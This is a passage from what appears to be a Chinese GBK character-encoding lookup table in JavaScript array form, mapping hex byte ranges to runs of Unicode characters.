","\u2160",11],["a3a1","\uFF01\uFF02\uFF03\uFFE5\uFF05",88,"\uFFE3"],["a4a1","\u3041",82],["a5a1","\u30A1",85],["a6a1","\u0391",16,"\u03A3",6],["a6c1","\u03B1",16,"\u03C3",6],["a6e0","\uFE35\uFE36\uFE39\uFE3A\uFE3F\uFE40\uFE3D\uFE3E\uFE41\uFE42\uFE43\uFE44"],["a6ee","\uFE3B\uFE3C\uFE37\uFE38\uFE31"],["a6f4","\uFE33\uFE34"],["a7a1","\u0410",5,"\u0401\u0416",25],["a7d1","\u0430",5,"\u0451\u0436",25],["a840","\u02CA\u02CB\u02D9\u2013\u2015\u2025\u2035\u2105\u2109\u2196\u2197\u2198\u2199\u2215\u221F\u2223\u2252\u2266\u2267\u22BF\u2550",35,"\u2581",6],["a880","\u2588",7,"\u2593\u2594\u2595\u25BC\u25BD\u25E2\u25E3\u25E4\u25E5\u2609\u2295\u3012\u301D\u301E"],["a8a1","\u0101\xE1\u01CE\xE0\u0113\xE9\u011B\xE8\u012B\xED\u01D0\xEC\u014D\xF3\u01D2\xF2\u016B\xFA\u01D4\xF9\u01D6\u01D8\u01DA\u01DC\xFC\xEA\u0251"],["a8bd","\u0144\u0148"],["a8c0","\u0261"],["a8c5","\u3105",36],["a940","\u3021",8,"\u32A3\u338E\u338F\u339C\u339D\u339E\u33A1\u33C4\u33CE\u33D1\u33D2\u33D5\uFE30\uFFE2\uFFE4"],["a959","\u2121\u3231"],["a95c","\u2010"],["a960","\u30FC\u309B\u309C\u30FD\u30FE\u3006\u309D\u309E\uFE49",9,"\uFE54\uFE55\uFE56\uFE57\uFE59",8],["a980","\uFE62",4,"\uFE68\uFE69\uFE6A\uFE6B"],["a996","\u3007"],["a9a4","\u2500",75],["aa40","\u72DC\u72DD\u72DF\u72E2",5,"\u72EA\u72EB\u72F5\u72F6\u72F9\u72FD\u72FE\u72FF\u7300\u7302\u7304",5,"\u730B\u730C\u730D\u730F\u7310\u7311\u7312\u7314\u7318\u7319\u731A\u731F\u7320\u7323\u7324\u7326\u7327\u7328\u732D\u732F\u7330\u7332\u7333\u7335\u7336\u733A\u733B\u733C\u733D\u7340",8],["aa80","\u7349\u734A\u734B\u734C\u734E\u734F\u7351\u7353\u7354\u7355\u7356\u7358",7,"\u7361",10,"\u736E\u7370\u7371"],["ab40","\u7372",11,"\u737F",4,"\u7385\u7386\u7388\u738A\u738C\u738D\u738F\u7390\u7392\u7393\u7394\u7395\u7397\u7398\u7399\u739A\u739C\u739D\u739E\u73A0\u73A1\u73A3",5,"\u73AA\u73AC\u73AD\u73B1\u73B4\u73B5\u73B6\u73B8\u73B9\u73BC\u73BD\u73BE\u73BF\u73C1\u73C3",4],["ab80","\u73CB\u73CC\u73CE\u73D2",6,"\u73DA\u73DB\u73DC\u73DD\u73DF\u73E1\u73E2\u73E3\u73E4\u73E6\u73E8\u73EA\u73EB\u73EC\u73EE\u73EF\u73F0\u73F1\u73F3",4],["ac40","\u73F8",10,"\u7404\u7407\u7408\u740B\u740C\u740D\u740E\u7411",8,"\u741C",5,"\u7423\u7424\u7427\u7429\u742B\u742D\u742F\u7431\u7432\u7437",4,"\u743D\u743E\u743F\u7440\u7442",11],["ac80","\u744E",6,"\u7456\u7458\u745D\u7460",12,"\u746E\u746F\u7471",4,"\u7478\u7479\u747A"],["ad40","\u747B\u747C\u747D\u747F\u7482\u7484\u7485\u7486\u7488\u7489\u748A\u748C\u748D\u748F\u7491",10,"\u749D\u749F",7,"\u74AA",15,"\u74BB",12],["ad80","\u74C8",9,"\u74D3",8,"\u74DD\u74DF\u74E1\u74E5\u74E7",6,"\u74F0\u74F1\u74F2"],["ae40","\u74F3\u74F5\u74F8",6,"\u7500\u7501\u7502\u7503\u7505",7,"\u750E\u7510\u7512\u7514\u7515\u7516\u7517\u751B\u751D\u751E\u7520",4,"\u7526\u7527\u752A\u752E\u7534\u7536\u7539\u753C\u753D\u753F\u7541\u7542\u7543\u7544\u7546\u7547\u7549\u754A\u754D\u7550\u7551\u7552\u7553\u7555\u7556\u7557\u7558"],["ae80","\u755D",7,"\u7567\u7568\u7569\u756B",6,"\u7573\u7575\u7576\u7577\u757A",4,"\u7580\u7581\u7582\u7584\u7585\u7587"],["af40","\u7588\u7589\u758A\u758C\u758D\u758E\u7590\u7593\u7595\u7598\u759B\u759C\u759E\u75A2\u75A6",4,"\u75AD\u75B6\u75B7\u75BA\u75BB\u75BF\u75C0\u75C1\u75C6\u75CB\u75CC\u75CE\u75CF\u75D0\u75D1\u75D3\u75D7\u75D9\u75DA\u75DC\u75DD\u75DF\u75E0\u75E1\u75E5\u75E9\u75EC\u75ED\u75EE\u75EF\u75F2\u75F3\u75F5\u75F6\u75F7\u75F8\u75FA\u75FB\u75FD\u75FE\u7602\u7604\u7606\u7607"],["af80","\u7608\u7609\u760B\u760D\u760E\u760F\u7611\u7612\u7613\u7614\u7616\u761A\u761C\u761D\u761E\u7621\u7623\u7627\u7628\u762C\u762E\u762F\u7631\u7632\u7636\u7637\u7639\u763A\u763B\u763D\u7641\u7642\u7644"],["b040","\u7645",6,"\u764E",5,"\u7655\u7657",4,"\u765D\u765F\u7660\u7661\u7662\u7664",6,"\u766C\u766D\u766E\u7670",7,"\u7679\u767A\u767C\u767F\u7680\u7681\u7683\u7685\u7689\u768A\u768C\u768D\u768F\u7690\u7692\u7694\u7695\u7697\u7698\u769A\u769B"],["b080","\u769C",7,"\u76A5",8,"\u76AF\u76B0\u76B3\u76B5",9,"\u76C0\u76C1\u76C3\u554A\u963F\u57C3\u6328\u54CE\u5509\u54C0\u7691\u764C\u853C\u77EE\u827E\u788D\u7231\u9698\u978D\u6C28\u5B89\u4FFA\u6309\u6697\u5CB8\u80FA\u6848\u80AE\u6602\u76CE\u51F9\u6556\u71AC\u7FF1\u8884\u50B2\u5965\u61CA\u6FB3\u82AD\u634C\u6252\u53ED\u5427\u7B06\u516B\u75A4\u5DF4\u62D4\u8DCB\u9776\u628A\u8019\u575D\u9738\u7F62\u7238\u767D\u67CF\u767E\u6446\u4F70\u8D25\u62DC\u7A17\u6591\u73ED\u642C\u6273\u822C\u9881\u677F\u7248\u626E\u62CC\u4F34\u74E3\u534A\u529E\u7ECA\u90A6\u5E2E\u6886\u699C\u8180\u7ED1\u68D2\u78C5\u868C\u9551\u508D\u8C24\u82DE\u80DE\u5305\u8912\u5265"],["b140","\u76C4\u76C7\u76C9\u76CB\u76CC\u76D3\u76D5\u76D9\u76DA\u76DC\u76DD\u76DE\u76E0",4,"\u76E6",7,"\u76F0\u76F3\u76F5\u76F6\u76F7\u76FA\u76FB\u76FD\u76FF\u7700\u7702\u7703\u7705\u7706\u770A\u770C\u770E",10,"\u771B\u771C\u771D\u771E\u7721\u7723\u7724\u7725\u7727\u772A\u772B"],["b180","\u772C\u772E\u7730",4,"\u7739\u773B\u773D\u773E\u773F\u7742\u7744\u7745\u7746\u7748",7,"\u7752",7,"\u775C\u8584\u96F9\u4FDD\u5821\u9971\u5B9D\u62B1\u62A5\u66B4\u8C79\u9C8D\u7206\u676F\u7891\u60B2\u5351\u5317\u8F88\u80CC\u8D1D\u94A1\u500D\u72C8\u5907\u60EB\u7119\u88AB\u5954\u82EF\u672C\u7B28\u5D29\u7EF7\u752D\u6CF5\u8E66\u8FF8\u903C\u9F3B\u6BD4\u9119\u7B14\u5F7C\u78A7\u84D6\u853D\u6BD5\u6BD9\u6BD6\u5E01\u5E87\u75F9\u95ED\u655D\u5F0A\u5FC5\u8F9F\u58C1\u81C2\u907F\u965B\u97AD\u8FB9\u7F16\u8D2C\u6241\u4FBF\u53D8\u535E\u8FA8\u8FA9\u8FAB\u904D\u6807\u5F6A\u8198\u8868\u9CD6\u618B\u522B\u762A\u5F6C\u658C\u6FD2\u6EE8\u5BBE\u6448\u5175\u51B0\u67C4\u4E19\u79C9\u997C\u70B3"],["b240","\u775D\u775E\u775F\u7760\u7764\u7767\u7769\u776A\u776D",11,"\u777A\u777B\u777C\u7781\u7782\u7783\u7786",5,"\u778F\u7790\u7793",11,"\u77A1\u77A3\u77A4\u77A6\u77A8\u77AB\u77AD\u77AE\u77AF\u77B1\u77B2\u77B4\u77B6",4],["b280","\u77BC\u77BE\u77C0",12,"\u77CE",8,"\u77D8\u77D9\u77DA\u77DD",4,"\u77E4\u75C5\u5E76\u73BB\u83E0\u64AD\u62E8\u94B5\u6CE2\u535A\u52C3\u640F\u94C2\u7B94\u4F2F\u5E1B\u8236\u8116\u818A\u6E24\u6CCA\u9A73\u6355\u535C\u54FA\u8865\u57E0\u4E0D\u5E03\u6B65\u7C3F\u90E8\u6016\u64E6\u731C\u88C1\u6750\u624D\u8D22\u776C\u8E29\u91C7\u5F69\u83DC\u8521\u9910\u53C2\u8695\u6B8B\u60ED\u60E8\u707F\u82CD\u8231\u4ED3\u6CA7\u85CF\u64CD\u7CD9\u69FD\u66F9\u8349\u5395\u7B56\u4FA7\u518C\u6D4B\u5C42\u8E6D\u63D2\u53C9\u832C\u8336\u67E5\u78B4\u643D\u5BDF\u5C94\u5DEE\u8BE7\u62C6\u67F4\u8C7A\u6400\u63BA\u8749\u998B\u8C17\u7F20\u94F2\u4EA7\u9610\u98A4\u660C\u7316"],["b340","\u77E6\u77E8\u77EA\u77EF\u77F0\u77F1\u77F2\u77F4\u77F5\u77F7\u77F9\u77FA\u77FB\u77FC\u7803",5,"\u780A\u780B\u780E\u780F\u7810\u7813\u7815\u7819\u781B\u781E\u7820\u7821\u7822\u7824\u7828\u782A\u782B\u782E\u782F\u7831\u7832\u7833\u7835\u7836\u783D\u783F\u7841\u7842\u7843\u7844\u7846\u7848\u7849\u784A\u784B\u784D\u784F\u7851\u7853\u7854\u7858\u7859\u785A"],["b380","\u785B\u785C\u785E",11,"\u786F",7,"\u7878\u7879\u787A\u787B\u787D",6,"\u573A\u5C1D\u5E38\u957F\u507F\u80A0\u5382\u655E\u7545\u5531\u5021\u8D85\u6284\u949E\u671D\u5632\u6F6E\u5DE2\u5435\u7092\u8F66\u626F\u64A4\u63A3\u5F7B\u6F88\u90F4\u81E3\u8FB0\u5C18\u6668\u5FF1\u6C89\u9648\u8D81\u886C\u6491\u79F0\u57CE\u6A59\u6210\u5448\u4E58\u7A0B\u60E9\u6F84\u8BDA\u627F\u901E\u9A8B\u79E4\u5403\u75F4\u6301\u5319\u6C60\u8FDF\u5F1B\u9A70\u803B\u9F7F\u4F88\u5C3A\u8D64\u7FC5\u65A5\u70BD\u5145\u51B2\u866B\u5D07\u5BA0\u62BD\u916C\u7574\u8E0C\u7A20\u6101\u7B79\u4EC7\u7EF8\u7785\u4E11\u81ED\u521D\u51FA\u6A71\u53A8\u8E87\u9504\u96CF\u6EC1\u9664\u695A"],["b440","\u7884\u7885\u7886\u7888\u788A\u788B\u788F\u7890\u7892\u7894\u7895\u7896\u7899\u789D\u789E\u78A0\u78A2\u78A4\u78A6\u78A8",7,"\u78B5\u78B6\u78B7\u78B8\u78BA\u78BB\u78BC\u78BD\u78BF\u78C0\u78C2\u78C3\u78C4\u78C6\u78C7\u78C8\u78CC\u78CD\u78CE\u78CF\u78D1\u78D2\u78D3\u78D6\u78D7\u78D8\u78DA",9],["b480","\u78E4\u78E5\u78E6\u78E7\u78E9\u78EA\u78EB\u78ED",4,"\u78F3\u78F5\u78F6\u78F8\u78F9\u78FB",5,"\u7902\u7903\u7904\u7906",6,"\u7840\u50A8\u77D7\u6410\u89E6\u5904\u63E3\u5DDD\u7A7F\u693D\u4F20\u8239\u5598\u4E32\u75AE\u7A97\u5E62\u5E8A\u95EF\u521B\u5439\u708A\u6376\u9524\u5782\u6625\u693F\u9187\u5507\u6DF3\u7EAF\u8822\u6233\u7EF0\u75B5\u8328\u78C1\u96CC\u8F9E\u6148\u74F7\u8BCD\u6B64\u523A\u8D50\u6B21\u806A\u8471\u56F1\u5306\u4ECE\u4E1B\u51D1\u7C97\u918B\u7C07\u4FC3\u8E7F\u7BE1\u7A9C\u6467\u5D14\u50AC\u8106\u7601\u7CB9\u6DEC\u7FE0\u6751\u5B58\u5BF8\u78CB\u64AE\u6413\u63AA\u632B\u9519\u642D\u8FBE\u7B54\u7629\u6253\u5927\u5446\u6B79\u50A3\u6234\u5E26\u6B86\u4EE3\u8D37\u888B\u5F85\u902E"],["b540","\u790D",5,"\u7914",9,"\u791F",4,"\u7925",14,"\u7935",4,"\u793D\u793F\u7942\u7943\u7944\u7945\u7947\u794A",8,"\u7954\u7955\u7958\u7959\u7961\u7963"],["b580","\u7964\u7966\u7969\u796A\u796B\u796C\u796E\u7970",6,"\u7979\u797B",4,"\u7982\u7983\u7986\u7987\u7988\u7989\u798B\u798C\u798D\u798E\u7990\u7991\u7992\u6020\u803D\u62C5\u4E39\u5355\u90F8\u63B8\u80C6\u65E6\u6C2E\u4F46\u60EE\u6DE1\u8BDE\u5F39\u86CB\u5F53\u6321\u515A\u8361\u6863\u5200\u6363\u8E48\u5012\u5C9B\u7977\u5BFC\u5230\u7A3B\u60BC\u9053\u76D7\u5FB7\u5F97\u7684\u8E6C\u706F\u767B\u7B49\u77AA\u51F3\u9093\u5824\u4F4E\u6EF4\u8FEA\u654C\u7B1B\u72C4\u6DA4\u7FDF\u5AE1\u62B5\u5E95\u5730\u8482\u7B2C\u5E1D\u5F1F\u9012\u7F14\u98A0\u6382\u6EC7\u7898\u70B9\u5178\u975B\u57AB\u7535\u4F43\u7538\u5E97\u60E6\u5960\u6DC0\u6BBF\u7889\u53FC\u96D5\u51CB\u5201\u6389\u540A\u9493\u8C03\u8DCC\u7239\u789F\u8776\u8FED\u8C0D\u53E0"],["b640","\u7993",6,"\u799B",11,"\u79A8",10,"\u79B4",4,"\u79BC\u79BF\u79C2\u79C4\u79C5\u79C7\u79C8\u79CA\u79CC\u79CE\u79CF\u79D0\u79D3\u79D4\u79D6\u79D7\u79D9",5,"\u79E0\u79E1\u79E2\u79E5\u79E8\u79EA"],["b680","\u79EC\u79EE\u79F1",6,"\u79F9\u79FA\u79FC\u79FE\u79FF\u7A01\u7A04\u7A05\u7A07\u7A08\u7A09\u7A0A\u7A0C\u7A0F",4,"\u7A15\u7A16\u7A18\u7A19\u7A1B\u7A1C\u4E01\u76EF\u53EE\u9489\u9876\u9F0E\u952D\u5B9A\u8BA2\u4E22\u4E1C\u51AC\u8463\u61C2\u52A8\u680B\u4F97\u606B\u51BB\u6D1E\u515C\u6296\u6597\u9661\u8C46\u9017\u75D8\u90FD\u7763\u6BD2\u728A\u72EC\u8BFB\u5835\u7779\u8D4C\u675C\u9540\u809A\u5EA6\u6E21\u5992\u7AEF\u77ED\u953B\u6BB5\u65AD\u7F0E\u5806\u5151\u961F\u5BF9\u58A9\u5428\u8E72\u6566\u987F\u56E4\u949D\u76FE\u9041\u6387\u54C6\u591A\u593A\u579B\u8EB2\u6735\u8DFA\u8235\u5241\u60F0\u5815\u86FE\u5CE8\u9E45\u4FC4\u989D\u8BB9\u5A25\u6076\u5384\u627C\u904F\u9102\u997F\u6069\u800C\u513F\u8033\u5C14\u9975\u6D31\u4E8C"],["b740","\u7A1D\u7A1F\u7A21\u7A22\u7A24",14,"\u7A34\u7A35\u7A36\u7A38\u7A3A\u7A3E\u7A40",5,"\u7A47",9,"\u7A52",4,"\u7A58",16],["b780","\u7A69",6,"\u7A71\u7A72\u7A73\u7A75\u7A7B\u7A7C\u7A7D\u7A7E\u7A82\u7A85\u7A87\u7A89\u7A8A\u7A8B\u7A8C\u7A8E\u7A8F\u7A90\u7A93\u7A94\u7A99\u7A9A\u7A9B\u7A9E\u7AA1\u7AA2\u8D30\u53D1\u7F5A\u7B4F\u4F10\u4E4F\u9600\u6CD5\u73D0\u85E9\u5E06\u756A\u7FFB\u6A0A\u77FE\u9492\u7E41\u51E1\u70E6\u53CD\u8FD4\u8303\u8D29\u72AF\u996D\u6CDB\u574A\u82B3\u65B9\u80AA\u623F\u9632\u59A8\u4EFF\u8BBF\u7EBA\u653E\u83F2\u975E\u5561\u98DE\u80A5\u532A\u8BFD\u5420\u80BA\u5E9F\u6CB8\u8D39\u82AC\u915A\u5429\u6C1B\u5206\u7EB7\u575F\u711A\u6C7E\u7C89\u594B\u4EFD\u5FFF\u6124\u7CAA\u4E30\u5C01\u67AB\u8702\u5CF0\u950B\u98CE\u75AF\u70FD\u9022\u51AF\u7F1D\u8BBD\u5949\u51E4\u4F5B\u5426\u592B\u6577\u80A4\u5B75\u6276\u62C2\u8F90\u5E45\u6C1F\u7B26\u4F0F\u4FD8\u670D"],["b840","\u7AA3\u7AA4\u7AA7\u7AA9\u7AAA\u7AAB\u7AAE",4,"\u7AB4",10,"\u7AC0",10,"\u7ACC",9,"\u7AD7\u7AD8\u7ADA\u7ADB\u7ADC\u7ADD\u7AE1\u7AE2\u7AE4\u7AE7",5,"\u7AEE\u7AF0\u7AF1\u7AF2\u7AF3"],["b880","\u7AF4",4,"\u7AFB\u7AFC\u7AFE\u7B00\u7B01\u7B02\u7B05\u7B07\u7B09\u7B0C\u7B0D\u7B0E\u7B10\u7B12\u7B13\u7B16\u7B17\u7B18\u7B1A\u7B1C\u7B1D\u7B1F\u7B21\u7B22\u7B23\u7B27\u7B29\u7B2D\u6D6E\u6DAA\u798F\u88B1\u5F17\u752B\u629A\u8F85\u4FEF\u91DC\u65A7\u812F\u8151\u5E9C\u8150\u8D74\u526F\u8986\u8D4B\u590D\u5085\u4ED8\u961C\u7236\u8179\u8D1F\u5BCC\u8BA3\u9644\u5987\u7F1A\u5490\u5676\u560E\u8BE5\u6539\u6982\u9499\u76D6\u6E89\u5E72\u7518\u6746\u67D1\u7AFF\u809D\u8D76\u611F\u79C6\u6562\u8D63\u5188\u521A\u94A2\u7F38\u809B\u7EB2\u5C97\u6E2F\u6760\u7BD9\u768B\u9AD8\u818F\u7F94\u7CD5\u641E\u9550\u7A3F\u544A\u54E5\u6B4C\u6401\u6208\u9E3D\u80F3\u7599\u5272\u9769\u845B\u683C\u86E4\u9601\u9694\u94EC\u4E2A\u5404\u7ED9\u6839\u8DDF\u8015\u66F4\u5E9A\u7FB9"],["b940","\u7B2F\u7B30\u7B32\u7B34\u7B35\u7B36\u7B37\u7B39\u7B3B\u7B3D\u7B3F",5,"\u7B46\u7B48\u7B4A\u7B4D\u7B4E\u7B53\u7B55\u7B57\u7B59\u7B5C\u7B5E\u7B5F\u7B61\u7B63",10,"\u7B6F\u7B70\u7B73\u7B74\u7B76\u7B78\u7B7A\u7B7C\u7B7D\u7B7F\u7B81\u7B82\u7B83\u7B84\u7B86",6,"\u7B8E\u7B8F"],["b980","\u7B91\u7B92\u7B93\u7B96\u7B98\u7B99\u7B9A\u7B9B\u7B9E\u7B9F\u7BA0\u7BA3\u7BA4\u7BA5\u7BAE\u7BAF\u7BB0\u7BB2\u7BB3\u7BB5\u7BB6\u7BB7\u7BB9",7,"\u7BC2\u7BC3\u7BC4\u57C2\u803F\u6897\u5DE5\u653B\u529F\u606D\u9F9A\u4F9B\u8EAC\u516C\u5BAB\u5F13\u5DE9\u6C5E\u62F1\u8D21\u5171\u94A9\u52FE\u6C9F\u82DF\u72D7\u57A2\u6784\u8D2D\u591F\u8F9C\u83C7\u5495\u7B8D\u4F30\u6CBD\u5B64\u59D1\u9F13\u53E4\u86CA\u9AA8\u8C37\u80A1\u6545\u987E\u56FA\u96C7\u522E\u74DC\u5250\u5BE1\u6302\u8902\u4E56\u62D0\u602A\u68FA\u5173\u5B98\u51A0\u89C2\u7BA1\u9986\u7F50\u60EF\u704C\u8D2F\u5149\u5E7F\u901B\u7470\u89C4\u572D\u7845\u5F52\u9F9F\u95FA\u8F68\u9B3C\u8BE1\u7678\u6842\u67DC\u8DEA\u8D35\u523D\u8F8A\u6EDA\u68CD\u9505\u90ED\u56FD\u679C\u88F9\u8FC7\u54C8"],["ba40","\u7BC5\u7BC8\u7BC9\u7BCA\u7BCB\u7BCD\u7BCE\u7BCF\u7BD0\u7BD2\u7BD4",4,"\u7BDB\u7BDC\u7BDE\u7BDF\u7BE0\u7BE2\u7BE3\u7BE4\u7BE7\u7BE8\u7BE9\u7BEB\u7BEC\u7BED\u7BEF\u7BF0\u7BF2",4,"\u7BF8\u7BF9\u7BFA\u7BFB\u7BFD\u7BFF",7,"\u7C08\u7C09\u7C0A\u7C0D\u7C0E\u7C10",5,"\u7C17\u7C18\u7C19"],["ba80","\u7C1A",4,"\u7C20",5,"\u7C28\u7C29\u7C2B",12,"\u7C39",5,"\u7C42\u9AB8\u5B69\u6D77\u6C26\u4EA5\u5BB3\u9A87\u9163\u61A8\u90AF\u97E9\u542B\u6DB5\u5BD2\u51FD\u558A\u7F55\u7FF0\u64BC\u634D\u65F1\u61BE\u608D\u710A\u6C57\u6C49\u592F\u676D\u822A\u58D5\u568E\u8C6A\u6BEB\u90DD\u597D\u8017\u53F7\u6D69\u5475\u559D\u8377\u83CF\u6838\u79BE\u548C\u4F55\u5408\u76D2\u8C89\u9602\u6CB3\u6DB8\u8D6B\u8910\u9E64\u8D3A\u563F\u9ED1\u75D5\u5F88\u72E0\u6068\u54FC\u4EA8\u6A2A\u8861\u6052\u8F70\u54C4\u70D8\u8679\u9E3F\u6D2A\u5B8F\u5F18\u7EA2\u5589\u4FAF\u7334\u543C\u539A\u5019\u540E\u547C\u4E4E\u5FFD\u745A\u58F6\u846B\u80E1\u8774\u72D0\u7CCA\u6E56"],["bb40","\u7C43",9,"\u7C4E",36,"\u7C75",5,"\u7C7E",9],["bb80","\u7C88\u7C8A",6,"\u7C93\u7C94\u7C96\u7C99\u7C9A\u7C9B\u7CA0\u7CA1\u7CA3\u7CA6\u7CA7\u7CA8\u7CA9\u7CAB\u7CAC\u7CAD\u7CAF\u7CB0\u7CB4",4,"\u7CBA\u7CBB\u5F27\u864E\u552C\u62A4\u4E92\u6CAA\u6237\u82B1\u54D7\u534E\u733E\u6ED1\u753B\u5212\u5316\u8BDD\u69D0\u5F8A\u6000\u6DEE\u574F\u6B22\u73AF\u6853\u8FD8\u7F13\u6362\u60A3\u5524\u75EA\u8C62\u7115\u6DA3\u5BA6\u5E7B\u8352\u614C\u9EC4\u78FA\u8757\u7C27\u7687\u51F0\u60F6\u714C\u6643\u5E4C\u604D\u8C0E\u7070\u6325\u8F89\u5FBD\u6062\u86D4\u56DE\u6BC1\u6094\u6167\u5349\u60E0\u6666\u8D3F\u79FD\u4F1A\u70E9\u6C47\u8BB3\u8BF2\u7ED8\u8364\u660F\u5A5A\u9B42\u6D51\u6DF7\u8C41\u6D3B\u4F19\u706B\u83B7\u6216\u60D1\u970D\u8D27\u7978\u51FB\u573E\u57FA\u673A\u7578\u7A3D\u79EF\u7B95"],["bc40","\u7CBF\u7CC0\u7CC2\u7CC3\u7CC4\u7CC6\u7CC9\u7CCB\u7CCE",6,"\u7CD8\u7CDA\u7CDB\u7CDD\u7CDE\u7CE1",6,"\u7CE9",5,"\u7CF0",7,"\u7CF9\u7CFA\u7CFC",13,"\u7D0B",5],["bc80","\u7D11",14,"\u7D21\u7D23\u7D24\u7D25\u7D26\u7D28\u7D29\u7D2A\u7D2C\u7D2D\u7D2E\u7D30",6,"\u808C\u9965\u8FF9\u6FC0\u8BA5\u9E21\u59EC\u7EE9\u7F09\u5409\u6781\u68D8\u8F91\u7C4D\u96C6\u53CA\u6025\u75BE\u6C72\u5373\u5AC9\u7EA7\u6324\u51E0\u810A\u5DF1\u84DF\u6280\u5180\u5B63\u4F0E\u796D\u5242\u60B8\u6D4E\u5BC4\u5BC2\u8BA1\u8BB0\u65E2\u5FCC\u9645\u5993\u7EE7\u7EAA\u5609\u67B7\u5939\u4F73\u5BB6\u52A0\u835A\u988A\u8D3E\u7532\u94BE\u5047\u7A3C\u4EF7\u67B6\u9A7E\u5AC1\u6B7C\u76D1\u575A\u5C16\u7B3A\u95F4\u714E\u517C\u80A9\u8270\u5978\u7F04\u8327\u68C0\u67EC\u78B1\u7877\u62E3\u6361\u7B80\u4FED\u526A\u51CF\u8350\u69DB\u9274\u8DF5\u8D31\u89C1\u952E\u7BAD\u4EF6"],["bd40","\u7D37",54,"\u7D6F",7],["bd80","\u7D78",32,"\u5065\u8230\u5251\u996F\u6E10\u6E85\u6DA7\u5EFA\u50F5\u59DC\u5C06\u6D46\u6C5F\u7586\u848B\u6868\u5956\u8BB2\u5320\u9171\u964D\u8549\u6912\u7901\u7126\u80F6\u4EA4\u90CA\u6D47\u9A84\u5A07\u56BC\u6405\u94F0\u77EB\u4FA5\u811A\u72E1\u89D2\u997A\u7F34\u7EDE\u527F\u6559\u9175\u8F7F\u8F83\u53EB\u7A96\u63ED\u63A5\u7686\u79F8\u8857\u9636\u622A\u52AB\u8282\u6854\u6770\u6377\u776B\u7AED\u6D01\u7ED3\u89E3\u59D0\u6212\u85C9\u82A5\u754C\u501F\u4ECB\u75A5\u8BEB\u5C4A\u5DFE\u7B4B\u65A4\u91D1\u4ECA\u6D25\u895F\u7D27\u9526\u4EC5\u8C28\u8FDB\u9773\u664B\u7981\u8FD1\u70EC\u6D78"],["be40","\u7D99",12,"\u7DA7",6,"\u7DAF",42],["be80","\u7DDA",32,"\u5C3D\u52B2\u8346\u5162\u830E\u775B\u6676\u9CB8\u4EAC\u60CA\u7CBE\u7CB3\u7ECF\u4E95\u8B66\u666F\u9888\u9759\u5883\u656C\u955C\u5F84\u75C9\u9756\u7ADF\u7ADE\u51C0\u70AF\u7A98\u63EA\u7A76\u7EA0\u7396\u97ED\u4E45\u7078\u4E5D\u9152\u53A9\u6551\u65E7\u81FC\u8205\u548E\u5C31\u759A\u97A0\u62D8\u72D9\u75BD\u5C45\u9A79\u83CA\u5C40\u5480\u77E9\u4E3E\u6CAE\u805A\u62D2\u636E\u5DE8\u5177\u8DDD\u8E1E\u952F\u4FF1\u53E5\u60E7\u70AC\u5267\u6350\u9E43\u5A1F\u5026\u7737\u5377\u7EE2\u6485\u652B\u6289\u6398\u5014\u7235\u89C9\u51B3\u8BC0\u7EDD\u5747\u83CC\u94A7\u519B\u541B\u5CFB"],["bf40","\u7DFB",62],["bf80","\u7E3A\u7E3C",4,"\u7E42",4,"\u7E48",21,"\u4FCA\u7AE3\u6D5A\u90E1\u9A8F\u5580\u5496\u5361\u54AF\u5F00\u63E9\u6977\u51EF\u6168\u520A\u582A\u52D8\u574E\u780D\u770B\u5EB7\u6177\u7CE0\u625B\u6297\u4EA2\u7095\u8003\u62F7\u70E4\u9760\u5777\u82DB\u67EF\u68F5\u78D5\u9897\u79D1\u58F3\u54B3\u53EF\u6E34\u514B\u523B\u5BA2\u8BFE\u80AF\u5543\u57A6\u6073\u5751\u542D\u7A7A\u6050\u5B54\u63A7\u62A0\u53E3\u6263\u5BC7\u67AF\u54ED\u7A9F\u82E6\u9177\u5E93\u88E4\u5938\u57AE\u630E\u8DE8\u80EF\u5757\u7B77\u4FA9\u5FEB\u5BBD\u6B3E\u5321\u7B50\u72C2\u6846\u77FF\u7736\u65F7\u51B5\u4E8F\u76D4\u5CBF\u7AA5\u8475\u594E\u9B41\u5080"],["c040","\u7E5E",35,"\u7E83",23,"\u7E9C\u7E9D\u7E9E"],["c080","\u7EAE\u7EB4\u7EBB\u7EBC\u7ED6\u7EE4\u7EEC\u7EF9\u7F0A\u7F10\u7F1E\u7F37\u7F39\u7F3B",6,"\u7F43\u7F46",9,"\u7F52\u7F53\u9988\u6127\u6E83\u5764\u6606\u6346\u56F0\u62EC\u6269\u5ED3\u9614\u5783\u62C9\u5587\u8721\u814A\u8FA3\u5566\u83B1\u6765\u8D56\u84DD\u5A6A\u680F\u62E6\u7BEE\u9611\u5170\u6F9C\u8C30\u63FD\u89C8\u61D2\u7F06\u70C2\u6EE5\u7405\u6994\u72FC\u5ECA\u90CE\u6717\u6D6A\u635E\u52B3\u7262\u8001\u4F6C\u59E5\u916A\u70D9\u6D9D\u52D2\u4E50\u96F7\u956D\u857E\u78CA\u7D2F\u5121\u5792\u64C2\u808B\u7C7B\u6CEA\u68F1\u695E\u51B7\u5398\u68A8\u7281\u9ECE\u7BF1\u72F8\u79BB\u6F13\u7406\u674E\u91CC\u9CA4\u793C\u8389\u8354\u540F\u6817\u4E3D\u5389\u52B1\u783E\u5386\u5229\u5088\u4F8B\u4FD0"],["c140","\u7F56\u7F59\u7F5B\u7F5C\u7F5D\u7F5E\u7F60\u7F63",4,"\u7F6B\u7F6C\u7F6D\u7F6F\u7F70\u7F73\u7F75\u7F76\u7F77\u7F78\u7F7A\u7F7B\u7F7C\u7F7D\u7F7F\u7F80\u7F82",7,"\u7F8B\u7F8D\u7F8F",4,"\u7F95",4,"\u7F9B\u7F9C\u7FA0\u7FA2\u7FA3\u7FA5\u7FA6\u7FA8",6,"\u7FB1"],["c180","\u7FB3",4,"\u7FBA\u7FBB\u7FBE\u7FC0\u7FC2\u7FC3\u7FC4\u7FC6\u7FC7\u7FC8\u7FC9\u7FCB\u7FCD\u7FCF",4,"\u7FD6\u7FD7\u7FD9",5,"\u7FE2\u7FE3\u75E2\u7ACB\u7C92\u6CA5\u96B6\u529B\u7483\u54E9\u4FE9\u8054\u83B2\u8FDE\u9570\u5EC9\u601C\u6D9F\u5E18\u655B\u8138\u94FE\u604B\u70BC\u7EC3\u7CAE\u51C9\u6881\u7CB1\u826F\u4E24\u8F86\u91CF\u667E\u4EAE\u8C05\u64A9\u804A\u50DA\u7597\u71CE\u5BE5\u8FBD\u6F66\u4E86\u6482\u9563\u5ED6\u6599\u5217\u88C2\u70C8\u52A3\u730E\u7433\u6797\u78F7\u9716\u4E34\u90BB\u9CDE\u6DCB\u51DB\u8D41\u541D\u62CE\u73B2\u83F1\u96F6\u9F84\u94C3\u4F36\u7F9A\u51CC\u7075\u9675\u5CAD\u9886\u53E6\u4EE4\